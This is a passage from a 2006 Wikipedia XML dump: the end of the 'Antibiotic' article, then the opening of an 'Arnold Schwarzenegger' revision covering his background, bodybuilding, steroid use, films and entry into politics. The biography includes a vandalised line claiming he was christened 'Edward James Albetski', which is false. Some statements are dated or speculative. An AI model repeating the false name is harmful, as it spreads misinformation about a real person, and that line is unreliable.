!colspan=&quot;5&quot; style=&quot;text-align:left; background:aqua;&quot;| Others
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Chloramphenicol]]  || style=&quot;text-align:left;&quot;| || style=&quot;text-align:left; background:silver;&quot; | || ||
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Clindamycin]]  || style=&quot;text-align:left;&quot;| || style=&quot;text-align:left; background:silver;&quot; | || ||
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Ethambutol]]  || style=&quot;text-align:left;&quot;| || style=&quot;text-align:left; background:silver;&quot; | || ||
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Fosfomycin]]  || style=&quot;text-align:left;&quot;| || style=&quot;text-align:left; background:silver;&quot; | || ||
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Furazolidone]]  || style=&quot;text-align:left;&quot;| || style=&quot;text-align:left; background:silver;&quot; | || ||
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Isoniazid]]  || style=&quot;text-align:left;&quot;| || style=&quot;text-align:left; background:silver;&quot; | || ||
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Linezolid]]  || style=&quot;text-align:left;&quot;| || style=&quot;text-align:left; background:silver;&quot; | || ||
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Metronidazole]] || style=&quot;text-align:left;&quot;| || style=&quot;text-align:left; background:silver;&quot; | || ||
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Nitrofurantoin]]  || style=&quot;text-align:left;&quot;| || style=&quot;text-align:left; background:silver;&quot; | || ||
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Pyrazinamide]] || style=&quot;text-align:left;&quot;| || style=&quot;text-align:left; background:silver;&quot; | || ||
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Quinupristin/Dalfopristin]]  || style=&quot;text-align:left;&quot;| || style=&quot;text-align:left; background:silver;&quot; | || ||
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Rifampin]]  || style=&quot;text-align:left;&quot;| || style=&quot;text-align:left; background:silver;&quot; | || ||
|-  
| || style=&quot;text-align:left; background:silver;&quot; | [[Spectinomycin]]  || style=&quot;text-align:left;&quot;| || style=&quot;text-align:left; background:silver;&quot; | || ||
|-
!style=&quot;text-align:left; background:aqua&quot; | Class !!style=&quot;background:silver;&quot; | Generic&amp;nbsp;Name !!Brand&amp;nbsp;Names !!style=&quot;background:silver&quot; | Common&amp;nbsp;Uses !!style=&quot;text-align:left&quot; | Side&amp;nbsp;Effects
|}

== Production ==
:''Main article: [[Production of antibiotics]]''

Since the first pioneering efforts of [[Howard Walter Florey|Florey]] and [[Ernst Boris Chain|Chain]] in 1939, the importance of antibiotics to [[medicine]] has led to much research into discovering and producing them. The process of production usually involves screening of wide ranges of microorganisms, testing and modification. Production is carried out using [[fermentation]].

== Side effects ==
Possible side effects are varied, and range from fever and nausea to major allergic reactions.  One of the more common side effects is [[diarrhea|diarrhoea]], which results from the antibiotic disrupting the normal balance of intestinal flora.  Other side effects can result from interaction with other drugs, such as elevated risk of [[tendon]] damage from administration of a [[Quinolones|quinolone]] antibiotic with a systemic [[corticosteroid]].

Some antibiotics can interfere with the efficacy of birth control pills.  Such effects were found to be unusual, and have been studied only for a limited number of antibiotics.

== Antibiotic misuse ==
Common forms of antibiotic misuse include taking them in inappropriate situations, such as the use of antibacterials for viral infections such as the [[common cold]], and failure to take the entire prescribed course of the antibiotic, usually because the patient feels better before the infecting organism is completely eradicated. In addition to treatment failure, these practices can result in [[antibiotic resistance]] in the bacteria that survive the abbreviated treatment.

In the United States, vast quantities of certain antibiotics are routinely included as low doses in the diet of some kinds of healthy farm animals, where this practice has been proved to make animals grow faster. Opponents of this practice, however, point out the likelihood that it also leads to an environment conductive to the evolution of antibiotic resistance, frequently in bacteria that are known to also infect humans. There has been little or no evidence as yet of the evolution of antibiotic resistance in such bacteria actually occurring. As the majority of bacteria is killed in the pasteurization process applied to the milk, and the cooking of the meat of such animals, any possible resistance may go unnoticed until the bacteria survives it. Theoretically, though, there is a significant possibility that such resistances could be transferred through the bacterial plasmids. Excessive use of [[prophylaxis|prophylactic]] antibiotics in travellers may also be classified as misuse.

== Antibiotic resistance ==
:''Main article: [[Antibiotic resistance]]''

Use or misuse of antibiotics may result in the development of ''antibiotic resistance'' by the infecting organisms, similar to the development of [[pesticide resistance]] in insects. [[Evolutionary theory]] of [[selection|genetic selection]] requires that as close as possible to 100% of the infecting organisms be killed off to avoid selection of resistance; if a small subset of the population survives the treatment and is allowed to multiply, the average susceptibility of this new population to the compound will be much less than that of the original population, since they have descended from those few organisms which survived the original treatment. This survival often results from an inheritable resistance to the compound which was infrequent in the original population but is now much more frequent in the descendants thus selected entirely from those originally infrequent resistant organisms.  

Antibiotic resistance has become a serious problem in both the developed and underdeveloped nations. By 1984 half of the people with active [[tuberculosis]] in the [[United States]] had a strain that resisted at least one antibiotic. In certain settings, such as hospitals and some child-care locations, the rate of [[antibiotic resistance]] is so high that the normal, low cost antibiotics are virtually useless for treatment of frequently seen infections. This leads to more frequent use of newer and more expensive compounds, which in turn leads inexorably to the rise of resistance to those drugs, and a never-ending ever-spiralling race to discover new and different antibiotics ensues, just to keep us from losing ground in the battle against infection. The fear is that we will eventually fail to keep up in this race, and the time when people did not fear life-threatening bacterial infections will be just a memory of a golden era.
 
Another example of selection is ''[[Staphylococcus aureus]]'', which could be treated successfully with penicillin in the 1940s and 1950s.  At present, nearly all strains are resistant to [[penicillin]], and many are resistant to [[nafcillin]], leaving only a narrow selection of drugs such as [[vancomycin]] useful for treatment. The situation is worsened by the fact that genes coding for antibiotic resistance can be transferred between bacteria, making it possible for bacteria never exposed to an antibiotic to acquire resistance from those which have. The problem of antibiotic resistance is worsened when antibiotics are used to treat disorders in which they have no efficacy, such as the common cold or other viral complaints, and when they are used widely as prophylaxis rather than treatment (as in, for example, animal feeds), because this exposes more bacteria to selection for resistance.

== Beyond antibiotics ==
Unfortunately, the comparative ease of finding compounds which safely cured bacterial infections proved much harder to duplicate with respect to fungal and viral infections. Antibiotic research led to great strides in our knowledge of basic biochemistry and to the current biological revolution; but in the process it was discovered that the susceptibility of bacteria to many compounds which are safe to humans is based upon significant differences between the cellular and molecular physiology of the bacterial cell and that of the mammalian cell. In contrast, despite the seemingly huge differences between fungi and humans, the basic biochemistries of the fungal cell and the mammalian cell are much more similar; so much so that there are few therapeutic opportunities for compounds to attack a fungal cell which will not harm a human cell. Similarly, we know now that viruses represent an incredibly minimal intracellular parasite, being stripped down to a few genes worth of [[DNA]] or [[RNA]] and the minimal molecular equipment needed to enter a cell and actually take over the machinery of the cell to produce new viruses. Thus, the great bulk of viral metabolic biochemistry is not merely similar to human biochemistry, it actually is human biochemistry, and the possible targets of antiviral compounds are restricted to the relatively very few components of the actual virus itself.

Research into [[bacteriophage]]s is ongoing at the moment. Bacteriophages are a specific type of virus that only targets bacteria. Research suggests that nature has evolved several types of bacteriophage for each type of bacteria. While research into bacteriophages is only in its infancy the results are promising and have already lead to major advances in microscopic imaging (see [http://news.uns.purdue.edu/UNS/html4ever/2006/060201.Jiang.salmonella.html]). While bacteriophages provide a possible solution the problem of antibacterial resistance there is as of yet no proof that we will actually be able to deploy these microscopic killers in humans, we can only continue the research and see where it leads.

== References ==
#{{Note|antibiotics-classes-table}} The Merck Manual of Medical Information - Home Edition, Robert Berkow (Ed.), Pocket (September, 1999), ISBN 0-671-02727-1. 

== External links ==
* [http://www.genomenewsnetwork.org/categories/index/drugs/resist.php Antibiotic News from Genome News Network (GNN)]
* [http://www.eff.org/Misc/Publications/Bruce_Sterling/FSF_columns/fsf.15 Bruce Sterling's Bitter Resistance]
* [http://www.jaapa.com/issues/j20040601/articles/antibiotics0604.html JAAPA: New antibiotics useful in primary care]
* [http://www.isracast.com/tech_news/090605_tech.htm A new method for controlling bacterial activity without antibiotics] - Research conducted at the Hebrew University 

=== Resources ===
* [http://www.apua.org Alliance for the Prudent Use of Antibiotics]

[[Category:Antibiotics|*]]
[[Category:Pharmacologic agents]]

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  <page>
    <title>Arnold Schwarzenegger</title>
    <id>1806</id>
    <revision>
      <id>42118998</id>
      <timestamp>2006-03-03T23:13:54Z</timestamp>
      <contributor>
        <username>Karrmann</username>
        <id>244252</id>
      </contributor>
      <comment>replace fair use image with free use image</comment>
      <text xml:space="preserve">{{Infobox_Governor
|name=Arnold Schwarzenegger
|image=Arnold Schwarzenegger.jpg|400px
|caption=
|order=38&lt;sup&gt;th&lt;/sup&gt;
|office=Governor of California
|term_start=[[November 17]], [[2003]]
|term_end=''present''
|lieutenant=[[Cruz Bustamante]]
|predecessor=[[Gray Davis]]
|successor=''incumbent''
|birth_date= [[July 30]], [[1947]]
|birth_place=[[Thal, Austria|Thal bei Graz]], [[Steiermark]], [[Austria]]
|death_date=
|death_place=
|spouse= [[Maria Shriver]]
|profession= [[Actor]], [[Politician]]
|party=[[Republican Party (United States)|Republican]]
|footnotes=
}}
'''{{Audio|de_ArnoldSchwarzenegger.ogg|Arnold Alois Schwarzenegger}}'''  (born [[July 30]], [[1947]]) is an [[Austria|Austrian]]-[[United States|American]] [[bodybuilder]], [[Golden Globe]] award winning [[actor]], and [[Republican Party (United States)|Republican]] [[Politics of the United States|politician]], currently serving as the 38th [[Governor of California]]. He was elected on [[October 7]], [[2003]] in [[2003 California recall|a special recall election]] which removed the sitting governor, [[Gray Davis]], from office.  Schwarzenegger was sworn in on [[November 17]], [[2003]], to serve the remainder of Davis' term, which lasts until [[January 8]], [[2007]]. On September 16th, 2005 he officially announced that he will seek re-election to a full term in [[California gubernatorial election, 2006|California's 2006 gubernatorial election]].

Nicknamed &quot;The Austrian Oak&quot; in his body-building days, and more recently &quot;The Governator&quot; (a [[portmanteau]] of the words &quot;Governor&quot; and &quot;Terminator&quot;, after the film role), Schwarzenegger as a young man gained widespread attention as a highly successful bodybuilder, and later gained worldwide fame as a [[Hollywood, Los Angeles, California|Hollywood]] [[action film]] star.  Some of his most famous films include ''[[The Terminator]]'', ''[[Predator (movie)|Predator]]'', ''[[True Lies]]'', ''[[Kindergarten Cop]]'', ''[[Total Recall (film)|Total Recall]]'', and his Hollywood breakthrough film ''[[Conan the Barbarian (film)|Conan the Barbarian]]''.  

==Personal background==
[[Image:Arnold military.jpg|framed|left|Arnold Schwarzenegger pictured next to an [[Patton tank|M47]] tank, which he was trained to operate.]]  &lt;!--Dates verified at http://www.bodybuildbid.com/articles/mrolympia/arnold-schwarzenegger.html--&gt;

Schwarzenegger was born in [[Thal, Austria]], a small town near the [[Styria|Styrian]] capital, [[Graz]], and christened Edward James Albetski. His parents were the local [[police chief]] and former [[Nazi stormtrooper]] [[Gustav Schwarzenegger]] (1907-1972), and his wife, the former Aurelia Jadrny (1922-1998), who had been married on [[October 20]], [[1945]], when he was 35 and she was 23 and widowed.
Gustav was a strict and demanding father, who generally favored the elder of his two sons, the handsome and blonde Meinhard.

Meinhard died in a car accident in 1971, and Gustav died the following year. Schwarzenegger attended neither's funeral. In ''[[Pumping Iron]]'' he claimed he did not attend his father's funeral as he was training for a bodybuilding contest, although both he and the film's producer later stated that this story was taken from another bodybuilder.

As a boy, Schwarzenegger played many sports, but discovered his passion for [[bodybuilding]] when in his mid-teens his [[soccer]] coach took the team for [[weight training]]. He attended a [[gym]] in Graz, where he also frequented the local [[Movie theater|cinema]]s, viewing his idols such as musclemen [[Reg Park]], [[Steve Reeves]], and [[Johnny Weissmuller]] on the big screen.

Arnold served in the [[Military of Austria|Austrian army]] in [[1965]], completing the mandatory one year service required at the time for all 18 year old Austrian men. During this year he snuck off the base to compete in his first bodybuilding competition, the junior division of Mr. Europe, where he won first place.

Schwarzenegger left Thal for a job managing a gym in [[Munich, Germany]], while continuing his bodybuilding.
He made his first plane trip in [[1966]], attending the [[NABBA Mr. Universe]] competition being held in [[London]]. He arrived in [[England]] knowing little English, and it was here he first started being referred to as &quot;The Austrian Oak&quot;, due to his large build and the story of him performing [[chin ups]] from the limb of an [[Oak tree]] on the banks of the river Thalersee, the lake of his hometown.
He would come second in the competition, but would win the title the next year, becoming the youngest ever Mr Universe at age 20.

Schwarzenegger moved to the [[United States]] in [[September]] [[1968]],  with little money or knowledge of the English language, and trained at [[Gold's Gym]] in [[Santa Monica]] under the [[patronage]] of [[Joe Weider]]. 
He became a U.S. citizen in [[1983]], although he has also retained his Austrian citizenship. During this time, he earned a [[Bachelor of Arts|B.A.]] from the [[University of Wisconsin-Superior]] where he graduated with degrees in [[marketing|international marketing]] of fitness and [[business administration]] in 1979.   

In 1983 his autobiography, ''Arnold: The Education of a Body-Builder'' was published. 

In 1986, Schwarzenegger married TV journalist [[Maria Shriver]], niece of the late [[President of the United States]] [[John F. Kennedy]]. The couple have four children: daughters Katherine (born [[December 13]], [[1989]]) and Christina (b.[[July 23]], [[1991]]), and sons Patrick (b.[[September 18]], [[1993]]) and Christopher (b.[[September 27]], [[1997]]). Together, the couple own a home in [[gated community|gated]] [[Bel Air, California]] as well as at the fabled [[Kennedy Compound]] in [[Massachusetts]].

His distinctive and oft-imitated accent has led many entertainers and pundits to refer to him simply as &quot;Ah-nuldt&quot;.

Though Schwarzenegger refuses to discuss his plastic surgery (&quot;You are confusing me with [[Cher (entertainer)|Cher]],&quot; he told ''[[People Magazine]]'' in 2002), citing before and after photos, critics allege he has undergone procedures on his eyes and chin, and has received at least one facelift (see [http://www.rotten.com/library/bio/entertainers/actors/arnold-schwarzenegger/]).

==Bodybuilding career==
Schwarzenegger first gained fame as a [[bodybuilding|bodybuilder]]. One of the first competitions he won was Junior Mr. Europe. He would go on to compete in and win many bodybuilding (as well as some [[powerlifting]]) contests, including 4 [[NABBA Mr. Universe]] wins and a record 7 [[Mr. Olympia]] wins, a record which would remain until [[Lee Haney]] won his eighth straight Mr. Olympia title in 1991. In 1967 Arnold won the Munich stone lifting contest in which a stone weighing 508 German pounds, approximately 560 English pounds, is lifted between the legs while standing on two foot rests. Arnold broke the existing record, winning the contest. Arnold's goal was to become the greatest bodybuilder in the world, which meant becoming Mr. Olympia. 

His first attempt was in 1969 where he lost to three-time champion [[Sergio Oliva]]. Arnold entered the contest confident, but when he saw Oliva in the pump room his confidence was shattered. The terrifying image of Oliva spurred Arnold to come back in 1970 with a vengence. He convincingly won the competition. Arnold won the 1971 Mr. Olympia with little incident. Then, in 1972, Oliva came back with what is still considered by many to be the greatest physique ever displayed. Arnold won the show but it was very close and bodybuilding fans still argue over whether Arnold or Sergio should have won. In 1973, Arnold once again won the Olympia with no real competition. He displayed his best physique to that point. Perhaps Arnold was in such great shape for the 1973 Olympia because he feared Oliva would once again enter the competition. In 1974, Arnold was once again in top form and won the title for the fifth consecutive time. Lou Ferrigno also competed at the '73 Olympia. Ferrigno was the first possible threat to Arnold's reign since Oliva. Arnold retired from competition after the 1974 Olympia. However, George Butler and Charles Gaines convinced him to compete one more time so they could make the bodybuilding documentary called ''[[Pumping Iron]]''. Arnold had only three months to prepare for the competition after losing significant weight to appear in the film ''Stay Hungry'' with Jeff Bridges. Ferrigno proved to not be a threat and a lighter than usual Schwarzenegger convincingly won the 1975 Olympia. After being declared Mr. Olympia for a sixth consecutive time Arnold once again retired from competition. Arnold came out of retirement to compete in the 1980 Mr. Olympia, the most controversial Olympia ever. [[Mike Mentzer]] was defeated in this competition, despite being on his best ever form (a fact which caused him to leave the world of bodybuilding). Arnold was a late entry and won with only eight weeks of preparation.  Schwarzenegger is considered among the most important figures in the history of bodybuilding, and his legacy is commemorated in the [[Arnold Classic]] annual bodybuilding competition.

Schwarzenegger has remained a prominent face in the bodybuilding sport long after his retirement, in part due to his ownership of gyms and fitness magazines. He has presided over numerous contests and awards shows. For many years he wrote a monthly column for the bodybuilding magazines [[Muscle and Fitness|Muscle &amp; Fitness]] and ''Flex''. Shortly after being elected Governor, he was appointed executive [[editor]] of both magazines in a largely symbolic capacity. The magazines agreed to donate $250,000 a year to the Governor's various physical fitness initiatives. The magazine ''MuscleMag International'' has a monthly two page article on him and refers to him as &quot;The King&quot;.

Schwarzenegger's first political appointment was to the [[President's Council on Physical Fitness and Sports]], on which he served from 1990 to 1993. He was nominated by [[George H. W. Bush]], who called him Conan the Republican.

In 2003 two [[African-American]] bodybuilders came forward claiming that Schwarzenegger has a history of making [[racist]] comments. Schwarzenegger has allegedly said, &quot;If you gave these [[Black people|Blacks]] a country to run, they would run it down the tubes&quot; (see [http://www.drudgereport.com/ar1.htm]).

===Bodybuilding contests===
Schwarzenegger won most of the bodybuilding contests he competed in. Those he did not win are indicated in ''italics''

*1965 Junior Mr. Europe (Germany)
*1966 Best Built Man of Europe (Germany)
*1966 Mr. Europe (Germany)
*1966 International Powerlifting Championship (Germany)
*''1966 [[NABBA Mr. Universe]] amateur (London), 2nd to [[Chet Yorton]]''
*1967 NABBA Mr. Universe amateur (London)
*1968 NABBA Mr. Universe professional (London)
*1968 German Powerlifting Championship
*1968 IFBB Mr. Internaional (Mexico)
*''1968 [[IFBB Mr. Universe]] (Florida), 2nd to [[Frank Zane]]''
*1969 IFBB Mr. Universe (New York)
*1969 NABBA Mr. Universe professional (London)
*1970 NABBA Mr. Universe professional (London), defeating his boyhood idol [[Reg Park]]
*''1969 [[Mr. Olympia]], 2nd to [[Sergio Oliva]]''
*1970 Mr. World (Columbus, Ohio), the first time he had beaten Sergio Oliva
*1970 Mr. Olympia (New York)
*1971 Mr. Olympia (Paris)
*1972 Mr. Olympia (Essen, Germany)
*1973 Mr. Olympia (New York)
*1974 Mr. Olympia (New York)
*1975 Mr. Olympia (Pretoria, South Africa), the subject of the documentary ''[[Pumping Iron]]''
*1980 Mr. Olympia

===Steroid Use===
Schwarzenegger has admitted to using performance-enhancing [[anabolic steroid]]s whilst they were legal, writing in 1977 that &quot;[steroids] were helpful to me in maintaining muscle size while on a strict diet in preparation for a contest. I did not use them for muscle growth, but rather for muscle maintenance when cutting up.&quot; However, some bodybuilders who used the same steroid cocktails as Schwarzenegger in the 1970s dispute the notion that they were used merely for &quot;muscle maintenance&quot;. Even Schwarzenegger has called the drugs &quot;tissue building.&quot; (see [http://hjem.get2net.dk/JamesBond/www/artikler/steroidemisbrug/arnoldandsteroids.htm])

In 1999, Schwarzenegger sued Dr. Willi Heepe, a German doctor who publicly predicted an early death for the bodybuilder based on a link between steroid use and later heart problems. Because the doctor had never examined him personally, Schwarzenegger collected a [[Deutsche Mark|DM]] 20,000 ($12,000 USD) libel judgment against him in a German court. In 1999 Schwarzenegger also sued and settled with [[Globe Magazine]], a U.S. tabloid which had made similar predictions about the bodybuilder's future health. As late as 1996, a year before open heart surgery to replace an [[aortic valve]], Schwarzenegger publicly defended his use of anabolic steroids during his bodybuilding career. (see [http://espn.go.com/columns/farrey_tom/1655597.html])

Schwarzenegger was born with a [[bicuspid aortic valve]]; a normal heart has [[tricuspid]] valves. According to a spokesman, Schwarzenegger has not used anabolic steroids since 1990 when they were made illegal (see [http://hjem.get2net.dk/JamesBond/www/artikler/steroidemisbrug/arnoldandsteroids.htm]). In bodybuilder slang, steroids are sometimes refered to as &quot;Arnolds&quot; (see [http://www.streetdrugs.org/dgsa.htm]).

==Acting career==
===Roles===
Schwarzenegger had long planned to segue from bodybuilding into a career in acting, as had done many of his idols, such as [[Reg Park]]. Initially he had trouble breaking into films due to his long surname, large muscles, and foreign accent,  but was eventually chosen to play the role of Hercules (as had done both Reg Park and [[Steve Reeves]]) in ''[[Hercules in New York]]'' (1970). Credited under the name ''Arnold Strong'', his accent in the film was so thick that his lines had to be [[dubbed]] after production. His second film appearance was as a [[deaf]] and [[mute]] hitman for the mob in director [[Robert Altman|Robert Altman's]] ''[[The Long Goodbye]]'' (1973), which was followed by a much more significant part in the film ''[[Stay Hungry (film)|Stay Hungry]]'' (1976), for which he was awarded a [[Golden Globe]] for Best New Male Star. Schwarzenegger came to the attention of more people in the documentary ''[[Pumping Iron]]'' (1977), elements of which were dramatized. In 1991, Schwarzenegger purchased the rights to this film, its outtakes, and associated still photography (see [http://www.thesmokinggun.com/archive/arnoldpump1.html]).

[[Image:Terminator.jpg|thumb|200px|right|''[[The Terminator]]'', starring Schwarzenegger (1984)]]

The 6'2&quot; Schwarzenegger's breakthrough film was ''[[Conan the Barbarian (film)|Conan the Barbarian]]'' (1982), and this was cemented by a sequel, ''[[Conan the Destroyer]]'' (1984). As an actor, he is best-known as the title character of director [[James Cameron]]'s android thriller ''[[The Terminator]]'' (1984).  Schwarzenegger's acting ability (described by one critic as having an emotional range that &quot;stretches from A almost to B&quot;) has long been the butt of many jokes; he retains a strong Austrian accent in his speech even in roles which do not call for such an accent. However, few of the fans of his work seem to care. He also made a mark for injecting his films with a droll, often self-deprecating sense of humor, setting him apart from more serious action heroes such as [[Sylvester Stallone]], his most prominent contemporary. (As an aside, his alternative-universe comedy/thriller ''[[Last Action Hero]]'' featured a poster of the movie ''Terminator 2: Judgment Day'' which, in that alternate universe had Sylvester Stallone as its star; a similar in-joke in ''[[Twins (movie)|Twins]]'' suggested that the two actors might one day co-star, something which has yet to come to pass).

[[Image:predator.gif|thumb|180px|left|''[[Predator (movie)|Predator]]'', starring Schwarzenegger (1987)]]

Following his arrival as a Hollywood superstar, he made a number of commercially successful films: ''[[Commando (film)|Commando]]'' (1985), ''[[Raw Deal (1986 movie)|Raw Deal]]'' (1986), ''[[The Running Man]]'' (1987), and ''[[Red Heat]]'' (1988). In ''[[Predator (movie)|Predator]]'' (1987), another commercially successful film, Schwarzenegger led a cast which included future [[Minnesota]] [[List of Governors of Minnesota|Governor]] [[Jesse Ventura]] (Ventura also appears in ''Running Man'') and future [[Kentucky]] [[List of Governors of Kentucky|Gubernatorial]] Candidate [[Sonny Landham]]. ''[[Twins (movie)|Twins]]'', (1988) a comedy with [[Danny DeVito]], was a change of pace.  ''[[Total Recall (film)|Total Recall]]'' (1990), at that time the most expensive film ever, netted Schwarzenegger $10 million and 15% of the gross, and was a widely praised, thought-provoking science-fiction script behind his usual violent action.  ''[[Kindergarten Cop]]'' (1990) was another comedy. 

Schwarzenegger had a brief foray into directing, first with a [[1990]] episode of the [[TV series]] ''[[Tales from the Crypt (TV series)|Tales from the Crypt]]'', entitled &quot;[[List of Tales from the Crypt episodes#Season 2 (1990)|The Switch]]&quot;, and then with the [[1992]] [[telemovie]] ''[[Christmas in Connecticut]]''. He has not directed since.

Schwarzenegger's critical and commercial high-water mark was ''[[Terminator 2: Judgment Day]]'' (1991). His next film project, the self-aware action comedy ''[[Last Action Hero]],'' (1993), had the misfortune to be released opposite ''[[Jurassic Park]]'', and suffered accordingly.  Schwarzenegger's career never again achieved quite the same prominence, his aura of box-office invincibility suffering.  ''[[True Lies]]'' (1994) was a popular sendup of spy films, and saw Schwarzenegger reunited with director [[James Cameron]], whose own career had taken off with ''[[The Terminator]]''. Shortly thereafter came ''[[Junior (film)|Junior]]'', which brought Schwarzenegger his second [[Golden Globe]] nomination, this time for Best Actor - Musical or Comedy. It was followed by the popular, albeit by-the-numbers ''[[Eraser (movie)|Eraser]]'' (1996), and ''[[Batman and Robin (1997 movie)|Batman &amp; Robin]]'' (1997), his final film before taking time to recuperate from a back injury.  Although ''[[Batman and Robin (1997 movie)|Batman &amp; Robin]]'' was a famous disaster, Schwarzenegger emerged largely unscathed.  Several film projects were announced with Schwarzenegger attached to star including the remake of ''[[Planet of the Apes]]'', a new film of ''[[I Am Legend]]'' and a World War II film scripted by [[Quentin Tarantino]] that would have seen Schwarzenegger finally play an Austrian. Instead he returned with ''[[End of Days]]'' (1999) - an unsuccessful and atypically dark attempt to broaden his acting range - ''[[The 6th Day]]'' (2000) and ''[[Collateral Damage]]'' (2002), none of which came close to recapturing his former prominence. He starred in the popularly received ''[[Terminator 3: Rise of the Machines]]'' (2003)  His last film appearance to date was a cameo appearance in the 2004 remake of ''[[Around the World in 80 Days (2004 movie)|Around the World in 80 Days]]'', notable for featuring him onscreen with action star [[Jackie Chan]] for the first time.

===Filmography===
*''[[Brutal Deluxe]]'' (2008/2009)
*''[[The Kid &amp; I]]'' (2005)
*''[[Around the World in 80 Days (2004 movie)|Around the World in 80 Days]]'' (2004)
*''[[The Rundown]]'' (2003) (cameo)
*''[[Terminator 3: Rise of the Machines]]'' (2003)
*''[[Collateral Damage (movie)|Collateral Damage]]'' (2002)
*''[[Dr. Dolittle 2]]'' (2001) (voice)
*''[[The 6th Day]]'' (2000)
*''[[End of Days]]'' (1999)
*''[[Batman &amp; Robin]]'' (1997)
*''[[Eraser (1996 film)|Eraser]]'' (1996)
*''[[Jingle All the Way]]'' (1996)
*''[[Beretta's Island]]'' (1994)
*''[[True Lies]]'' (1994)
*''[[Junior (film)|Junior]]'' (1994)
*''[[Last Action Hero]]'' (1993)
*''[[Terminator 2: Judgment Day]]'' (1991)
*''[[Kindergarten Cop]]'' (1990)
*''[[Total Recall (film)|Total Recall]]'' (1990)
*''[[Twins (film)|Twins]]'' (1988)
*''[[Red Heat]]'' (1988)
*''[[Predator (film)|Predator]]'' (1987)
*''[[The Running Man]]'' (1987)
*''[[Raw Deal (1986 film)|Raw Deal]]'' (1986)
*''[[Red Sonja (1985 film)|Red Sonja]]'' (1985)
*''[[Commando (film)|Commando]]'' (1985)
*''[[The Terminator]]'' (1984)
*''[[Conan the Destroyer]]'' (1984)
*''[[Conan the Barbarian (film)|Conan the Barbarian]]'' (1982)
*''[[The Jayne Mansfield Story]]'' (1980)
*''[[The Villain]]'' (1979)
*''[[Scavenger Hunt]]'' (1979)
*''[[Pumping Iron]]'' (1977)
*''[[Stay Hungry (film)|Stay Hungry]]'' (1976)
*''[[Happy Anniversary and Goodbye]]'' (1974)
*''[[The Long Goodbye (film)|The Long Goodbye]]'' (1973)
*''[[Hercules in New York]]'' (1970)

==Political career==
[[Image:Arnoldandson.jpg|thumb|200px|Schwarzenegger and son Patrick at [[Edwards Air Force Base]], [[California]] in December 2002.]]

===Political affiliation===
Schwarzenegger is a registered [[Republican Party (United States)|Republican]], unusual among the often heavily [[Democratic Party (United States)|Democratic]] [[Hollywood, Los Angeles, California|Hollywood]] community. He describes himself as fiscally conservative and socially moderate (i.e. he is [[pro-choice]] and supports [[stem cell]] research.) Schwarzenegger backed Republican President [[Ronald Reagan]] (another movie star turned politician) while Reagan was in office, and campaigned for [[George H.W. Bush]] in 1988. However, he chastised fellow Republicans during the impeachment of [[Bill Clinton]] in 1998. Sensing an opportunity to affect the outcome of the [[U.S. presidential election, 2004|2004 Presidential race]], Schwarzenegger campaigned in Ohio for Republican [[George W. Bush]] in the closing days of the campaign.

In an interview on [[October 29]], [[2002]], with [[MSNBC]]'s [[Chris Matthews]] at [[Chapman University]], Schwarzenegger explained why he is a Republican:

:&quot;Well, I think because a lot of people don't know why I'm a Republican, I came first of all from a socialistic country which is Austria and when I came over here in 1968 with the [[U.S. presidential election, 1968|presidential elections]] coming up in November, I came over in October, I heard a lot of the press conferences from both of the candidates [[Hubert Humphrey|Humphrey]] and [[Richard Nixon|Nixon]], and Humphrey was talking about more government is the solution, protectionism, and everything he said about government involvement sounded to me more like [[Social Democratic Party of Austria|Austrian socialism]].

:Then when I heard Nixon talk about it, he said open up the borders, the consumers should be represented there ultimately and strengthen the military and get the government off our backs. I said to myself, what is this guy's party affiliation? I didn't know anything at that point. So I asked my friend, what is Nixon? He's a Republican. And I said, I am a Republican. That's how I became a Republican.&quot;

Regarding a run for public office, in 1999, he told ''Talk'' magazine that &quot;I think about it many times.&quot; He also said, &quot;The possibility is there because I feel it inside. I feel there are a lot of people standing still and not doing enough. And there's a vacuum.&quot;

===Venturing into politics===
Schwarzenegger was appointed Chairman of the [[President's Council on Physical Fitness and Sports]] in the administration of [[George H. W. Bush]] from 1990 to 1993.  During that time, Schwarzenegger traveled across the U.S. promoting physical fitness to kids and lobbying all 50 governors in support of school fitness programs.  &quot;He would hit sometimes two or three governors in a day in his own airplane, at his own expense, somewhere around $4,000 an hour,&quot; said George Otott, his chief of staff at the time. &quot;When he walked in, it wasn't about the governor, it was about Arnold,&quot; said Otott, a retired Marine. &quot;He has what we in the military call a ''command presence''. He becomes the number one attention-getter.&quot;

He later served as Chairman for the California ''Governor's Council on Physical Fitness and Sports'' under Governor [[Pete Wilson]]. Schwarzenegger scored his first real political success on [[November 5]], [[2002]], when [[California]]ns approved his personally crafted and sponsored [[California Proposition 49 (2002)|Proposition 49]], the &quot;After School Education and Safety Program Act of 2002&quot;, an initiative to make state grants available for after-school programs.

===2003 California recall===
For years, Schwarzenegger had discussed with friends, potential donors, advisors and political allies a possible run for high political office; on [[April 10]], [[2003]], for example, he met with Republican political operative [[Karl Rove]] to discuss a future campaign. 

In the months leading to the [[2003 California recall]], Schwarzenegger was widely rumored to be considering a run at becoming [[Governor of California]]. In the July 2003 issue of ''[[Esquire Magazine]]'', he said, &quot;Yes, I would love to be governor of California ... If the state needs me, and if there's no one I think is better, then I will run.&quot;  When a petition to recall [[United States Democratic Party|Democratic]] governor [[Gray Davis]] qualified for the ballot on [[July 24]], Schwarzenegger left many wondering whether he would jump into the contest. Schwarzenegger was just wrapping up a promotional tour for ''Terminator 3'' and said he would announce his decision on whether to run on [[August 6]] on ''[[The Tonight Show with Jay Leno]]''.

[[Image:Arnold Schwarzenegger inauguration-crowd750.jpg|thumb|left|300px|Crowd watching Schwarzenegger inauguration]]

